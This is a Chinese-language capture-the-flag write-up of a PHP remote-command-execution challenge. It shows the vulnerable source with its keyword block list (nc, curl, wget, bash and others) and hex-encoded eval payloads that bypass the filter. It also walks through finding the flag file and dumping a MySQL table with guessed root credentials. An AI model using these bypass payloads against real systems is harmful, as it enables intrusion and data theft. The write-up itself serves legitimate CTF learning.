我觉得一点都不simple,这是我做个最难的rce,但是有这么多人都做起了,不知道是自己太菜了还是啥

6f9e9b76f06a5cc040f9438315e14f09

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
ini_set('open_basedir', '/var/www/html/');
error_reporting(0);

if(isset($_POST['cmd'])){
$cmd = escapeshellcmd($_POST['cmd']);
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
system($cmd);
}
}


show_source(__FILE__);
?>

由于这里过滤了太多,所以一开始我想执行phpinfo(),想着怎么也得弄个回显出来吧,但是直接

1
cmd=phpinfo()

不行,搞了好久发现是对system函数理解不到位,这实际上是在尝试执行一个名为 phpinfo() 的 shell 命令,而不是执行 PHP 的 phpinfo() 函数。由于 phpinfo() 不是一个有效的 shell 命令,所以执行失败

system可以执行php脚本,可以构造

1
cmd=php -r phpinfo();

image-20240518142331607

image-20240518142425364

既然确定了回显方式,那就去选取rce的类别,这里一直困扰我的是不仅过滤了很多命令,还过滤了引号,所以最终选择了无参数rce中的hex2bin方式去绕过

bin2hex代码用来加密payload:

1
2
3
4
<?php
$encoded = bin2hex("echo `ls`;");
echo $encoded;
?>

这里注意eval是执行代码的函数,后面遵循PHP语法,加;

然后是选取了substr函数这里用的两个参数

1
2
3
4
5
6
<?php
$encoded = bin2hex("echo `ls`;")
echo $encoded;
?>

cmd=php -r eval(hex2bin(substr(_6563686f20606c73603b,1)));

这里本来想用0,即从头选取字符串到末尾,但是执行不了,就用这样的形式来呈现,从而绕过了引号

image-20240519185716968

/var/www/html/里只有index.php

后面非常恶心,一顿在容器里面找flag,目录都翻遍了,让我一度想diss出题人(狗头保命)

于是我在网上看到说可以用find来找

1
2
3
4
5
6
<?php
$encoded = bin2hex("echo `find / -name '*flag'`;")
echo $encoded;
?>

cmd=php -r eval(hex2bin(substr(_6563686f206066696e64202f202d6e616d6520272a666c616727603b,1)));

最后找到/var/lib/mysql/debian-10.5.flag (这里没截图,比赛结束了开不了容器了,但由于确实把我恶心坏了,让我如此记忆尤新)

补截图

image-20240519190413937

然后我就去/var/lib/mysql/找,同时发现了PHP_CMS,这里我的第一想法是去cat debian-10.5.flag,虽然不知道是个啥,但是cat不了,当时就在想不会是在mysql数据库里吧,于是我把自己以前出的sql注入题目的目录对比

image-20240519190545730

image-20240518173625239

图中gift.sql是数据库同时确实有一些文件目录是相匹配的,我这时真的觉得PHP_CMS就是数据库,在加上现在本来就在容器里,但是进入mysql要账户密码,由于交这道题已经比赛快结束了,只好弱密码猜测root root ,没想到flag就在里面,这是最终payload:

(先show tables;出来table名,再select的,最后结合起来)

1
2
3
4
5
6
<?php
$encoded = bin2hex("echo `mysql -u root -p'root' -e 'use PHP_CMS;show tables;select * from F1ag_Se3Re7;'`;");
echo $encoded;
?>

cmd=php -r eval(hex2bin(substr(_6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d652027757365205048505f434d533b73686f77207461626c65733b73656c656374202a2066726f6d20463161675f5365335265373b27603b,1)));

image-20240519190632743

1
flag{3ed20e8b-6953-4d78-9556-d31f28ae6d0a}